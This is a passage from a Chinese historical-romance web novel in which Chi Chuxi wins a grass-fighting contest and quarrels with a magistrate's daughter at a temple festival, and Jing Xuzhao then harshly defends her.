铁耀不解,若是让他不断地讨媳妇,他肯定开心。
岳逸钦
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看过阿荞的八字,捋着胡子道:“命硬倒是有那么一点,可偏偏此命寿促,难享高年,你女儿今年十六,从命理来看,凶多吉少。”
夫妇俩都愣了,李耕道:“不是命硬吗,怎么会?”
岳逸钦道:“命硬之人若冲犯神煞,会导致命主容易遭遇意外灾祸、血光之灾,你们最好还是早日去见见女儿,若能化解灾祸那便最好。”
夫妇俩着急起来。
“可那寒潭江已经好些日子不渡外客了,您老上次来时不也在岸边等船,咱们都过不去。”
岳逸钦道:“放心,我这次来就是替你们过去看的,若是公廨让渡人,哪个船夫敢不渡,那吴家难道还要跟公廨作对。”
李耕千恩万谢。
景序昭:“可知吴家何时将那定好的新妇迎进门?”
李耕:“好像是五日后。”
从李家出来,几人便去往公廨。
岳逸钦说肚子饿了,便在街边找了个饭馆准备包餐一顿。
几人围着路边的饭桌坐下,点了些吃的。
铁耀道:“这些有钱的乡绅多半都会打点公廨,恐怕咱们到了公廨也不好说话,公廨的人说不定还帮着吴家。”
景序昭沉声道:“大晟婚律规定,诸有妻更娶妻者,徒一年,吴家想同时娶两妻,可是要坐牢的,公廨若是包庇,律法必不轻饶。”
铁耀想了想,也是,景县丞手里握着巡按御史给的手令,别说一个公廨了,就是大晟朝所有公廨都得任他审查。
巡按御史代表陛下亲临,他给的手令可以行使极大的权力。
景序昭盯着池楚浠看了片刻,眉头皱起。
池楚浠的脸色很不好,唇色看起来比往日要淡了许多。
这会儿太阳已经快要下山,傍晚吹了些凉风,景序昭脱下外袍披在池楚浠肩上。
“起风了,你身子不适,别着凉。”
池楚浠脸上顿时浮起一团红晕:“你怎么知道?”
女子来月信他一个大男人怎么会这么容易看出,况且他还是个未成婚的男人,接触的女人有限。
景序昭给池楚浠碗里夹了几块肉,柔声道:“一会儿吃完就找个客舍,你先歇着,我去公廨一趟。”
池楚浠浅浅地嗯了一声。
找好客舍后,池楚浠便待在房间里,这里有较为繁华的街市,客舍的条件比路边的邸舍好太多,她可以一人一间房。
景序昭他们去了公廨,也不知事情好不好办。
时候不早了,池楚浠正准备入睡,外面便传来景序昭的声音:“见你灯还亮着,没睡么?”
池楚浠打开门:“阿兄,事情如何了,公廨可愿出面?”
景序昭道:“县令认御史手令,会派人前往吴家一探究竟。”
池楚浠这才留意到他手里捧着一叠衣物,看料子都是崭新的。
景序昭将手里的衣物递过去:“这些衣物你拿着换洗,都是干净的,尺寸应是合身的。”
“有劳阿兄。”
池楚浠接过衣物回了房间,景序昭也回去歇息了。
她捧着衣物发呆,景序昭不知从何时起,好像特别关注她的一举一动。
池楚浠很是惊讶。
45. 休息几日
终于睡到了柔软的床,也没有做乱七八糟的梦,池楚浠睡了个好觉。
悠悠醒来时,池楚浠花了些时间梳洗好才准备下楼吃点东西。
她刚拉开门就看见景序昭端着呈盘站在门外,呈盘上的包子和粥还冒着热气。
“阿兄……”
池楚浠怔了怔。
景序昭端着呈盘进屋,将吃食一一摆好:“起来了就吃些东西,你想吃什么告诉我,我去买。”
池楚浠感觉脸颊的温度似乎升高了几许,怪怪的。
“多谢阿兄,这些小事我自己也可以的,你们今日要过河吗?”
“这几日过不了,河水湍急,需得再等几日。”
景序昭捧着筷子递过来,池楚浠赶紧接了。
她没有再道谢了,照这情形来看,她恐怕有道不完的谢,景序昭太殷勤了。
殷勤得让人头皮发麻,从前怎么没发现他是这样的。
这阵子一直在东奔西跑,池楚浠的确感到疲乏。
她喝着肉粥,感觉肚子舒服了许多。
景序昭道:“一会儿有伙计来收呈盘,你吃了好生歇着。”
池楚浠浅浅应了声:“知道了。”
景序昭出去后,池楚浠又愣了一瞬。
莫非他真的要认了她这个妹妹?可景家是决计不会答应的,义妹也不行。
景序昭从未对她表露过别的意思,她实在猜不透,可景阿兄的确对她很好。
想起岳逸钦提的姻缘一事,池楚浠猛地晃晃脑袋,那只是岳逸钦的玩笑话,当不得真。
她也从未认真想过此事,这是八竿子打不着的姻缘。
这几日天气都还不错,池楚浠坐在院中,将竹筒盖子打开,让里面的小东西晒晒太阳。
这只幻梦蛉还是幼虫,吃的是嫩叶,喝的是清水。
池楚浠盯着竹筒里面的虫子,见它缓慢地移动,看起来似乎很惬意。
卖幻梦蛉的人说过,想要让此蛊发挥作用,挑一个合适的时机将它放入毛发之中,虫子会自己找机会咬开皮肉钻进去,届时你只会感觉像被蚊虫叮咬一般,被咬过的皮肉很快就能愈合,只会留下一点淤红。
幻梦蛉本身无毒,只是在体内游走时会影响人的行为,导致四肢有些不由自主,看起来像是神志不清。
它大多数时候都是不动的,像是寄生在了体内,所以更多时候看不出中蛊之人有何异样。
池楚浠盯着幻梦蛉看了许久,它长得很好。
这几日,池楚浠基本都在客舍休息,身子爽利了许多,身上的衣服换了新的,款式很漂亮。
她对着镜子看,身上穿的是一套粉色衣裙,料子比之前的薄些,更适合此时的节气。
这衣裳的款式倒是很适合小娘子们,不知景序昭怎么懂得挑选这些,选得竟很合她心意。
上午,街市正是热闹的时候。
池楚浠难得出来逛逛,这座城的商贩虽没有沙洲城多,但来来往往的人也不少,街市吆喝声不绝于耳。
一堆少年围在一起凑热闹,围观的人群在呐喊助威,像是在比拼什么。
池楚浠跟着挤进人群里,瞧见有人在玩斗草,还是武斗,两人各持一草,交叉相勾,然后用力拉扯,以草不断者为胜。
两个少年手中的草头彼此勾住,两人用力一扯,蓝衣少年手中的草断了。
“呜呼!照兄赢了!”有几个围观的少年欢呼着。
输了的少年叹了口气,虽有不服但还是认输,从比赛场退了出来。
赢了的少年举着手中的小草道:“还有谁来比一比,我再赢两局,彩头就归我了。”
池楚浠看向场上挂着的那个彩头,是块羊肉。
“我来比!”
人群里上去了一个十二三岁的小娘子,她将手中的草高高举起,众人都看见她那颗草头很大,应该很有韧劲。
“鹿小聆,你怎么又来了,上次你就输了,不是草头大就能赢的,你那颗草太嫩了。”
少女一抬下巴:“你管我,我就要比!”
“秦照,赶紧跟我比,我今日必定要赢你,哼!”
“比就比。”
两人亮出自己的草,将草头稳稳地勾在一起,裁判喊开始,两人就一起使劲拉。
就一眨眼的功夫,少女手里的草头断了。
“哼!”少女瞪了对手一眼,很不服气,“凭什么,你是不是耍诈?”
“哈哈哈哈,鹿小聆,怎么输不起,输了就说我们照兄耍诈,你这个癞皮狗。”
“你们才是狗!”
少女叉腰怒道:“秦照,给我看看你的草,为何比了这么多局还没断,是不是假的?”
秦照只微微一笑,很大方地把草递过去:“随你看,我这是货真价实的草,在灵枢谷里摘回来的。”
鹿小聆拿着草左看右看,的确是真草,不是用线勾出来的。
她道:“你胡说,寒潭江涨水过不去,你如何去的灵枢谷,骗子!”
秦照道:“我是一个月前就去了,把草连根挖了回来养着,灵枢谷的草天生底子好,随便怎么长都比你们的厉害。”
“那……那你把这件事告诉我们,明年你不是就赢不了吗?”鹿小聆疑惑道,“到时候我们都去灵枢谷挖草,你还怎么赢?”
秦照无所谓笑笑:“无妨,到时候各凭本事。”
围观人群里的少年道:“我们照兄心胸宽广,才不会藏着掖着,好了鹿小聆,你输了。”
“还有人跟我们照兄比吗,若无人比,照兄就赢了哦!”
“还有没有人上?”
池楚浠幼时也玩过这种游戏,一到五月,年纪小的就会聚在一起玩斗草。
可惜,今日她手里没有草。
忽然,一棵绿油油的草头出现在池楚浠眼前。
“拿去试试,比赢了算你的。”
池楚浠回头一看,景序昭正对着他露出个好看的笑来。
池楚浠立马接过草,举手道:“我来比!”
众人都以为没有人上场了,没想到突然冒出来一个脸生的小娘子。
“你要比?”有人问。
池楚浠点点头:“嗯,我也想赢彩头。”
她看了看景序昭给的草,这棵草杆不是很粗,甚至有点干巴,但握在手里感觉很坚硬。
“来试试。”池楚浠道。
秦照拿出一棵新的草:“先前那棵已经比过两轮,受了伤,换一棵。”
池楚浠:“可以。”
裁判:“准备,开始。”
两个草头勾在一起,两人各自往后一拉。
草头断了。
人群里呜呼一片。
“照兄……你的断了。”
池楚浠也没想到这么轻易就把对方的草头扯掉,她惊喜地看着手中的草,这家伙看起来其貌不扬,没想到这么能打。
好草!
秦照道:“我认输了,你这草也是从灵枢谷摘的吗?”
池楚浠笑笑:“我没去过灵枢谷,这草是我阿兄给我的。”
裁判:“还有人比吗,不比彩头就是这位小娘子的了。”
有人上场了。
还是池楚浠赢。
最终连赢三局,比赛规定连赢三局就能拿走彩头。
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判取下那块羊肉交给池楚浠:“恭喜小娘子,这么好运气。”
池楚浠提着肉望向人群,见景序昭正笑得灿烂,似乎比他自己赢了还开心。
池楚浠提着羊肉出来,呵呵笑道:“这块肉怎么吃?”
“我再去买些食材,拿回去炖一锅羊肉汤,给你补补身子。”
“你这草是从哪儿摘的,竟比人家从灵枢谷摘的还厉害?”
“就附近田里,一株他们没发现的草罢了。”
“这些小孩儿成天在田里蹿,怎会还有他们没发现的草,但凡有一棵都被他们薅秃了。”
景序昭掏出一棵草,和池楚浠手里的很像,应该是同一个枝上长出来的。
他看着池楚浠道:“不是所有人都识货,这棵草看起来不抗打,即便他们瞧见了也会忽视它。”
池楚浠捏着小草根茎,欣赏般的看了它片刻。
“是棵好草,阿兄好眼光。”
街上有不少人手里提着香蜡纸烛,池楚浠这才想起来已到了五月的祭祀节,百姓们会举行祭祀祖先和神灵的仪式,以祈求风调雨顺、五谷丰登、阖家安康。
岳逸钦和铁耀也提着香蜡纸烛和贡品来了。
铁耀道:“这些是方才岳师父买的,说明日一早要去南山的庙宇参与祭祀,求个风调雨顺,百姓安康。”
景序昭点点头:“明日一起去。”
明日是个祭祀的好日子,附近的百姓大多数估计都会赶这一趟,一起祭拜。
一大早,池楚浠就梳洗好了,吃过早饭后跟着岳逸钦他们出门。
出了城跟着一条大路走很快就能到庙宇,附近的百姓都会来这里上香,平日里这庙宇香火很旺。
天刚亮,通往庙宇的道上已经走满了人。
铁耀帮忙提着贡品,他指着前方的马车道:“那好像是县令手下的丫鬟小厮,原来是县令定的今日祭祀,难怪这么多人都在同一天。”
在民间,每家每户可以自己定祭祀的日子,也跟着官老爷一起,共同祈求神明降下福祉。
岳逸钦道:“从前在宫中,陛下每年会在圜丘举办祭祀仪式,以祈求上天庇佑,保大晟朝风调雨顺、国泰民安,最近这几年祭祀的次数倒是变少了。”
景序昭道:“师父许久未回长安看看,如今陛下已至暮年,身体不如从前康健,有些事便省了些,好在自今年起,太子殿下担起了这些事。”
岳逸钦默默地点了点头,似乎有些伤春悲秋。
行至南山庙中,池楚浠站在大门外道:“我在此处等你们。”
按照有些地方的习俗,女子来月信时不可进庙,池楚浠不清楚此地风俗,还是谨慎些好。
景序昭吩咐铁耀:“你留下来陪楚浠。”
铁耀:“是。”
尽管铁耀很想去,但他还是得听命行事,一个是前刑部左侍郎,只不过暂时被调职,将来迟早会调回去,一个是前司天台主事,他离开司天台后陛下再未升过别的主事,可见其地位。
他两个都得罪不起。
都是些来参与祭祀的百姓,池楚浠挑了块路边的石头坐着:“铁耀兄,你进去吧,我就坐在这里不乱跑,一会儿你出来就能看见我。”
铁耀摇摇头:“不行,万一你走丢了我如何跟景县丞交代。”
池楚浠无奈笑笑:“我又不是孩童,怎会走丢,我知道你想去凑热闹,去吧。”
铁耀犹犹豫豫,但池娘子说得的确有道理,这里是庙宇清静之地,又没有打家劫舍的强盗,留池娘子坐在这儿等也没什么。
“那我去看看就回,池娘子你就坐在此处。”
“去吧。”
46. 请你让位
越来越多的人进入庙宇,香蜡燃烧的味道随处可闻,人们各自聊着日常见闻。
池楚浠挑了还算僻静的地方坐着,静静地看着前面的大道上人来人往。
几个丫鬟朝这边走来,为首的丫鬟年纪大些,她用手中的团扇敲了一下池楚浠肩头。
“你,让一下,我家娘子要在这里歇会儿。”
后边一个小丫鬟扶着一小娘子缓步走了过来,那小娘子十多岁的年纪,打扮得富贵,模样尚可。
池楚浠挪到另一块石头上坐着,把之前那块地让给她们。
大丫鬟不悦:“你就不能站远些,非得同我们挤在一处吗,没瞧见我们这么多人呢。”
池楚浠数了数,对方总共六人,也算不得人多。
附近没有比这里更适合歇脚的地方了,离大道近了容易与路人碰撞。
池楚浠四下看了看,没再挪地方,她道:“你们就是再多几个人也歇得下了。”
大丫鬟翻了个白眼,没再与池楚浠争执,转身拿包袱里的布料铺在石块上,让那位小娘子坐。
方才在来的路上池楚浠见过县令家的一行丫鬟小厮,丫鬟们的穿着打扮与这几个丫头一样,看来他们是县令家的,那位小娘子也是县令家的。
池楚浠就多看了县令家的小娘子一眼,便被大丫鬟质问:“别盯着我家许娘子看。”
池楚浠无奈地笑了笑,早就收回目光看向了别处。
这位许娘子的丫鬟脾气真不小,像点了炮仗一样。
“哼!”
大丫鬟似乎怎么看池楚浠都不顺眼,对着她冷哼。
接近寺庙的那一段路马车过不来,所有马车钧停在下方的平坦处,也难怪许娘子要坐在路边休息,估计是不想走一大段路回马车上。
许娘子用手扇了扇风,皱着眉道:“梅雪,这还是能闻到烟味儿。”
烟味儿呛得她难受,许娘子接连咳了几次。
梅雪朝池楚浠看来,再次盯上了她的位置。
“你再挪一挪,你那边烟味淡些。”
池楚浠见那许娘子确实咳得厉害,脸色又不好看,估摸着和她是一样的情况,不然又怎会等在外边。
同为女子,可以互相体谅些,池楚浠起身让位。
许娘子走过来坐下,不免打量起池楚浠,让位后她便站在树下,避免阳光直晒。
坐着无趣,许娘子便打量了池楚浠许久。
池楚浠也无趣,只能数着过往的人群。
祭祀有一套完整的流程,但民间这种小型祭祀也不会花费太长时间。
梅雪对许娘子道:“若不是得知今日景县丞要来此处,娘子你也不用非得跑这一趟,方才也只是远远瞧见一眼,还没与他说上话呢。”
池楚浠离她们不远,将二人的对话听得清清楚楚,原来这许娘子是来偶遇景县丞的。
许娘子面有羞色:“景县丞与父亲在一处祭祀,一会儿等他们出来总归是能见上。”
梅雪一脸期待地笑着:“奴婢就知道咱家娘子命里就带着贵字,将来必定是要嫁去长安的,碰巧就遇上了景县丞,这不就是天定良缘。”
另一丫鬟附和:“是啊,听闻景县丞乃是景博珩之子,到苍山不过是历练,过些时日便回去了,到时娘子与他一同回长安。”
梅雪道:“正巧那景县丞又没定亲,这不就是送上门的姻缘,咱家娘子生得好看,琴棋书画样样精通,一点不输长安贵女。”
丫鬟们夸赞得有些过了,池楚浠心中想着,她们怕是从没见过长安贵女们是什么样子。
天子脚下,真正的贵女如同那天上明月,家中的大门都是张扬地开在坊城之上,永远比寻常人家高出一等。
那些人家的女子样样都好,连皇宫里的物件她们也用得,她们见识渊博,眼光甚高,长安城里一些所谓的才子恐怕也比不过她们。
池楚浠听见丫鬟又道:“那景县丞这般年纪也未曾定亲,想必是对家中安排不满,偏生要自己选,幸好老爷找他身边的随从打听过他的喜好,娘子这才好迎合。”
喜好?
池楚浠听着就来了兴致,她家老爷打听出景序昭什么喜好了?
梅雪道:“您这衣裳样式、妆容、唇脂都是他偏好的,一会儿呀他必能留意到您。”
池楚浠没忍住再次侧目朝许娘子看去,只见那衣裳的款式竟与自己穿的极其相似,唇脂更是一样的色调。
身上这套衣裳本就是景序昭买的,当然是符合他的审美,可唇脂怎么也对应上了。
她家老爷找谁打听的,难道是铁耀?
见池楚浠看了许娘子良久,梅雪又不乐意了,但她此刻也意识到这个小娘子的穿着打扮竟与自家许娘子格外的相似,怎么这般巧合。
许娘子之前在打量池楚浠时早就发现了这一点,也觉得是巧合。
梅雪细细将自家娘子与池楚浠做了一番对比,心下觉得不妙,旁边那位似乎长相更为出众,若是让她与自家娘子站在一起,一会儿必将抢了许娘子的风头,到时就功亏一篑了。
梅雪心一横,摆出一副恶脸走到池楚浠面前道:“你走远些,到下面那个坝上去坐着,不许待在这儿。”
那坝上没有阴凉处,当着日头晒,更没有坐的地方,池楚浠不乐意去。
她道:“这块地是你家的不成,你赶我三回,我让你两回已是仁义了,若是嫌挤,便带着你家娘子去坝上坐着。”
“你!哼!”梅雪怒指着池楚浠,“你可知我家娘子是谁,尔等草民竟敢与她相争。”
池楚浠早就推断出这许娘子是县令的女儿,仗着自己是县令之女便这般纵容婢女欺压旁人,可见她品性一般。
许娘子塞了些钱到梅雪手里,梅雪会意,拿了钱砸到池楚浠怀里:“给你钱,要你挪个位置总可以了吧,你去那坝上待着,不许再过来。”
池楚浠低头看了一眼落在怀里的银子,大晟朝的寻常百姓极少使用银子作为流通货币,银子在晟朝虽有使用,但大多用于大额交易、赏赐、进贡、贮藏,是比铜钱更有价值些,这许娘子倒是大手笔。
她们不强赶,还知道给银子,池楚浠不喜争执,将银子抛回丫鬟手里。
“你别不知好歹!”梅雪道。
她招呼其他丫鬟过来,冷声道:“把她赶走。”
池楚浠算着时间,估摸着岳师父他们快出来了,把银子还回去是打算让位的,岂料这丫鬟会错了意。
“不识好歹的无知草民!”
“让她滚远些。”
池楚浠沉声道:“许娘子就是这么管教家中下人的,如此做派还妄想与长安贵女们一争高低,不叫人笑话么?”
“你闭嘴,再胡说八道便抓你进衙门。”梅雪道。
池楚浠轻笑一声:“我犯了什么错要抓我进衙门,你们滥用公权县令知道吗?”
许娘子冷了脸,看向池楚浠道:“好一个伶牙俐齿的小娘子,你是哪家的,不怕给家里惹麻烦吗?”
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池楚浠方才都已经起身准备走,这会儿反倒是不急着走了,她倒要看看这位想跟景序昭定亲的许娘子究竟是什么德行。
她看着许娘子微微一笑,声音偏冷:“家中就我一人,恐怕要让许娘子失望了。”
许娘子倒是没说话,梅雪先笑了:“怪不得,原来是个没父母教养的孤儿,这般不识抬举,活该家人都死绝了。”
“啪!”
池楚浠给了梅雪一巴掌。
“你……你怎么敢!”梅雪捂着脸。
池楚浠冷眼看着她:“不许你辱我父母,我是草民,你是奴才,至少我是个自由身,而你只是主人家豢养的奴。”
梅雪怒道:“你等着!”
她跑到许娘子面前,还未开口说话就见许娘子点头,像是默许了什么。
梅雪大步跑开,很快,她领着两个高高壮壮的家丁过来,怒指着池楚浠道:“就是她,将她赶走,好好招呼一顿。”
两个家丁奉命朝池楚浠走来,伸手便去抓池楚浠胳膊。
池楚浠远远地望见铁耀的身影,他正朝这边走来,想必庙里的事办得差不多了。
原本想躲开一步,但池楚浠放弃了,任由两名家丁将她胳膊扣住。
被牢牢扣住后,池楚浠做样子般用力挣扎:“你们松开我,大庭广众之下许娘子要蔑视王法吗?”
许娘子缓步上前,抬起池楚浠的下巴仔细瞧着她。
“你今年多大?”
池楚浠冷声道:“关你何事?”
许娘子笑笑:“看起来正是婚配的年纪,瞧你这打扮应是还没嫁人,模样倒是尚可,就是可惜,太不会做人。”
“哪有贱民嫌钱多的,连银子都瞧不上,那你瞧得上什么?”
池楚浠忽地抬眸盯着她淡淡一笑:“我只是想瞧瞧许娘子是否是一个婚配的良人,若是,我倒是愿意撮合,只是可惜了……”
池楚浠摇了摇头。
可惜了。
贵女贵在品性,她不是。
许娘子冷笑一声:“笑话,本姑娘的婚事要你撮合,将她带走。”
池楚浠的目光精准地锁定跑过来的铁耀,眼中露出几分委屈。
“铁耀兄,救我……”
“住手!”铁耀一个箭步冲过来,猛地扭起两个家丁的手腕将他们狠狠摔在地上。
“尔等干什么!”
“光天化日之下欺负良家妇女!”
铁耀生得壮实,浑身有的是力气,两个家丁的手腕被扭后,痛得直呜呜叫。
铁耀将池楚浠护在身后,怒目瞪着眼前的一群女眷:“你们是何人?”
梅雪大声道:“你又是何人,敢殴打我们许家家丁。”
“许家?哪个许家?”
“你说哪个许家,你看不出来吗?”
铁耀一惊:“许县令?”
梅雪:“正是。”
原来是许家的女眷,难怪气势这么大,铁耀扭头问池楚浠:“池娘子可有伤到哪儿?”
池楚浠看着温柔可人,但惹恼了她也是不好相与的,正好演一演,打掉景序昭这桩烂桃花。
长安品行好的小娘子那么多,谁稀罕这一朵野花。
她捂着左胳膊道:“扭到胳膊了,有些疼。”
一边是县令家的,一边是景县丞看重的池娘子,一时间铁耀也有些为难。
说到底他只是个不良人,不敢跟县令作对,但也不想让景县丞失望。
47. 滥用私刑
就在铁耀思忖之际,梅雪叫来了随县令同去的侍卫,此时六个带刀侍卫围了过来。
梅雪得了许娘子授意,吩咐道:“将这两人抓起来!”
铁耀即使已经把手放在佩刀上,却也不敢拔刀,若砍杀了县令的人他可怎么交差。
池楚浠的眼神瞬间冷冽起来,她明白铁耀难做,便一把将铁耀扯至身后:“许娘子,你想清楚了,我二人并无过错,滥用私刑可是会按律惩处的。”
许娘子忽地笑了:“我说你们有罪,便是有罪。”
“带下去吧。”
侍卫一动身便听见后方传来一个熟悉的声音:“慢着,做什么呢?”
几人回头一看,纷纷躬身行礼:“县令。”
县令身旁站着一位丰神俊朗的年轻郎君,那郎君冷笑道:“我竟不知县令的家眷如此目无法纪,凭空就给人定罪了?”
许县令顿时脸都黑了。
梅雪赶紧在许娘子耳边道:“这便是景县丞,奴婢之前去公廨时近景瞧过。”
许娘子温婉地看了眼景序昭才回父亲的话:“他二人对我许家下人大打出手,自然是罪。”
她说着再次朝景序昭瞧去,却见他快步走到那个贱民面前,托住她捂着的左胳膊,一脸着急道:“可伤得严重?”
池楚浠放弱了语气,故意道:“一直疼着,怕是要找个大夫瞧瞧。”
景序昭的脸顿时冷了下来,池楚浠被他这一变化吓得怔了怔。
只见他转而看着许县令,沉声道:“县令可要给个交代,巡按御史反正离这儿不远,不如让他顺道亲临怀德,将县令的所作所为如数禀报圣上。”
“这这这……”县令有些慌乱,赶紧指着女儿教训,“你还不赶紧给人家道歉,整日在外面胡作非为,回去家法伺候!”
许娘子愣了愣,面对父亲的严厉指着,她瞬间红了眼眶。
“父亲……”
梅雪反应快,立即跪下哭诉:“老爷,是她先打奴婢,娘子才维护奴婢的,还请老爷不要罚娘子。”
“都是奴婢的错。”
见梅雪已经恶人先告状了,池楚浠也想解释一番。
“她三番两次辱我,我便还了一巴掌,我的确是打了她,请景县丞责罚。”
景序昭扶着池楚浠胳膊,柔声道:“无妨,打便打了,她辱你就该打。”
池楚浠:“……”
她瞪大了眼睛抬眼望着景序昭,有些不可思议,先动手的人铁定有错在身,可他却无条件维护。
“我……”
池楚浠忽然不知道说什么。
此时,铁耀挺直了腰杆道:“景县丞,我赶来时就见着两个家丁扣着池娘子要将她带走,还不知道他们掳走池娘子要做什么,绝不是辱人这么简单。”
先前景序昭不在,他不敢出头,还要池娘子将他护在身后,丢脸死了,这会儿他可必须得为池娘子说话,反正这县令不敢得罪景县丞。
铁耀继续愤慨道:“几个大男人抓着个弱女子,到底想干什么,还好我来得及时,否则还不知道出什么事,景县丞,我说的句句属实。”
景序昭眸中寒意更甚,眨眼功夫他拔出铁耀的佩刀架在其中一个家丁脖子上:“是你抓的?”
家丁看清了在场局势,县令也不敢得罪这个景县丞,于是赶紧磕头:“景县丞饶命!”
景序昭眸色一沉,反手用坚硬的刀柄重重击在家丁胳膊关节处。
只听见“咔”的一声,似是胳膊脱臼的声音。
家丁顿时痛苦不堪,额头上直冒冷汗。
“景县丞饶命,县令饶命……”
又是一声骨头错位的声音,另一个家丁也没逃过一劫。
景序昭做完这一切冷眼看向许娘子,虽不会卸她一只胳膊,但此事绝不会轻易揭过。
许娘子被景序昭的眼神吓到,怯怯道:“景县丞这又何尝不是滥用私刑……”
景序昭唇角带起一抹笑意,容色好看,但却冷得可怖:“我惯常滥用私刑,若不服,尽管叫三法司来审我。”
许瑾感到后背发凉,原本还倾慕景序昭此人,可如今仅剩惧意。
“小女不敢。”许瑾软声道。
县令擦了擦额头上的冷汗,上前道:“这样吧,景县丞,这些奴才交由你处置,要杀要剐都由你定,此事咱们就揭过如何,我让小女给这位小娘子赔不是。”
县令没见过池楚浠,只当她是路边的百姓,不知景县丞为何这般维护一个小女子。
池楚浠有些怔怔的,此情此景已经脱离了她的预判,怎么会这样。
两个家丁抱着胳膊疼得半死不活,丫鬟跪在地上揽罪,县令努力在说和……
这……脱离掌控了。
她只是想让景序昭看清许家娘子的为人,即便许家想要将女儿嫁给他,他也得多思量思量。
可如今,已经不是思量这么一回事,像是结下了血海深仇。
县令给自家女儿使眼色。
“瑾儿,去给这位小娘子赔不是。”
许瑾不得不把头低了几分,但眼中满是委屈不忿,犹豫许久,她终于走向池楚浠道:“这位娘子,是我不对,纵容婢女三番两次逼迫于你,还出言侮辱,还望娘子不予计较,日后恩怨尽消,娘子想要什么赔偿尽管说来。”
池楚浠本来就无意与她作对,如今闹成这样实在出乎意料,她愿意把矛盾消解些。
“赔偿就不必了,既然许娘子已赔不是,我自是不会揪着此事不放,此事便揭过。”
许瑾抬眼看来:“娘子大人大量,心胸宽广。”
许瑾道:“是我骄纵婢女辱人在先,回去后我定当狠狠罚她,既然这位娘子都已经不计较了,父亲、景县丞,大家就不要再为此事伤了和气。”
“是啊。”县令笑着朝景序昭看来,“景县丞,今日我做东请你和岳主事吃饭,景县丞和岳主事可否赏脸?”
池楚浠侧目看去,只见景序昭依旧黑着脸,似乎今日这事在他这里过不去了。
池楚浠一开始就心思不纯,所以此刻有些心虚,他悄声道:“阿兄,算了。”
就算不与许家结亲,那也没必要闹得鸡飞狗跳,何况许娘子的骄纵性子也不是她一人独有,别的富贵人家里也有这样的小娘子。
“阿兄”一出口,尽管小声,但许瑾离得近也听见了,她惊得瞪大了眼睛看着池楚浠。
这一瞬间,她似乎才意识到自己把事搞得有多糟。得罪了谁不好,偏偏那是景县丞的妹妹。
许瑾的脸色顿时惨白惨白的。
景序昭再次扶了池楚浠,回县令道:“不必了,御史正在隔壁巡查,许县令还是不要宴请为好,摆一摆清正廉洁之风,省得有人说许县令铺排浪费、
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仗势欺人、御下不严。”
许县令脸上一阵白一阵红,只得应道:“那便不宴请了。”
岳逸钦这会儿凑到池楚浠面前问:“没事吧,还能不能走,可要给你叫辆马车?”
池楚浠摇摇头:“不必,腿又没伤,能走。”
许瑾赶紧道:“景县丞,我有马车,你们可坐我的马车回去,我和阿耶走路便好。”
池楚浠赶紧摆手:“不必……”
倒也不必突然这么殷勤,池楚浠尴尬地牵了牵嘴角。
许瑾立即吩咐侍卫:“去把马车备好,让给景县丞他们。”
“真不用……许娘子。”池楚浠尴尬的笑容又徒增了几分。
许瑾道:“不必跟我客气,马车你用,回头我让府医配最好的药膏给你送来。”
池楚浠:“……”
岳逸钦望了望天上的日头,又看了看马车,迫不及待地道:“行行行,咱们不坐白不坐,走了徒儿。”
县令带着僵硬的笑容眼看女儿将马车让出去。
铁耀从车夫手里接过缰绳,架着马车回城。
县令抹了抹额间细汗,叹了口气道:“瑾儿你这是何故啊,先前让你赔礼道歉都有些许不乐意,怎么这会儿反而将马车让出去?”
许瑾的心情还未平复,她皱着眉道:“阿耶,你为何没探出景县丞有一位妹妹,方才那位娘子便是他妹妹,害女儿平白得罪了她。”
“妹妹?”县令疑惑,“不曾听说他景家嫡系一脉还有个妹妹,难道是侧室江娘子所出的那两个之一?早些年听在长安的同乡说起过。”
许瑾琢磨着:“倒是有可能。”
县令望着驶去的马车:“可惜了,今日与他们闹了这一场误会,过两日我请景县丞到家中做客,届时你再好好表现,切勿像今日这般闹出许多事来,乖巧一些更讨喜。”
许瑾微微垂首:“知道了阿耶,女儿下次不会了。”
县令看了看头顶的太阳,这会儿正当头晒,他硬着头皮往回走。
“若不是我暗中打听到刑部并不是真正革除他的官职,恐怕这会儿我也把他给得罪了,能轻而易举将巡按御史叫来,他又怎可能是被贬出长安,幸亏咱们在长安有眼线,否则这次不知吃多大的亏。”
许瑾奉承:“还是阿耶思虑周全,也多亏了在长安的周伯伯。”
父女俩顶着烈日回城。
马车里,池楚浠坐得很板正拘谨,看起来像是她犯了错似的。
景序昭道:“铁耀,直接去医馆。”
“我没事……”池楚浠想说不用去医馆,胳膊已经没那么疼了,没必要大费周章地看大夫,何况他们乘坐的还是县令的马车,百姓们一眼就认出来了。
铁耀道:“池娘子,方才那两个家丁下手那么狠,还是看看大夫为好,省得落下什么后遗症。”
岳逸钦本在闭目养神,这会儿闭着眼睛问池楚浠:“你和那县令家的小娘子怎地闹起来了?”
池楚浠只能把事情如实相告。
岳逸钦听完沉声道:“这许县令把女儿养得也太骄纵了些,不过她既然不喜烟味,何苦要跟着来祭祀,又没规定非得让家中女眷来。”
池楚浠按下许家想与景家结亲一事没说,只说不知其中缘由。
若是早知会闹得这样大,她情愿吃点亏也不会让事情演变成这副模样。
48. 喜欢翠色
池楚浠看向坐在对面的景序昭,不知此刻他心中在想什么,方才他在许家娘子面前那幅纨绔样真叫人大开眼界。
不由分说地打了许家家丁,还说让三法司来审他,完全是破皮无赖之态。
池楚浠还从未见过他这一面,仿佛是换了个人,她再次意识到自己从未真正了解过景序昭。
或许是盯着景序昭看久了,岳逸钦不免瞧了她一眼,道:“今日闹这一出,你当真没有私心?”
“啊?”池楚浠怔了怔。
岳逸钦道:“铁耀,那日许县令找你打听什么,说来听听。”
铁耀道:“他问我景县丞平日里的喜好,尤其是在女子的穿着打扮方面,我也不甚清楚,便连蒙带猜地说了些。”
“那就对了。”岳逸钦道,“今日我一见那许娘子就察觉出些许端倪,她今日那打扮与楚浠倒有几分相似,是不是你与县令说的那些?”
铁耀想了想:“还真是,对不住啊景县丞,我才跟着你没多久,不确定你的喜好,下意识里就照着池娘子的穿着打扮说。”
岳逸钦哈哈大笑:“那你倒是说对了,你这人日后能成大器。”
“呵呵,是吗,借岳主事吉言。”铁耀在外边傻笑着,驾车都充满了力气。
池楚浠发现岳逸钦和景序昭此刻都盯着她,于是,她当即露出个假笑。
“二位别误会,我真的什么都不知道,下次绝不再与许娘子争执,不会给您二位惹麻烦了。”
景序昭却沉着声儿:“无论如何,要先保护好自己。”
他正色道:“在外被欺凌,尽量不要与人正面起冲突,避其锋芒。”
池楚浠道:“莫非要打不还手骂不还口吗?”
“不是。”景序昭道,“若我不在,你能避则避,待我回来必将十倍百倍为你讨回。”
池楚浠愣了一瞬。
同在车内的岳逸钦识趣地把眼睛闭紧,装睡。
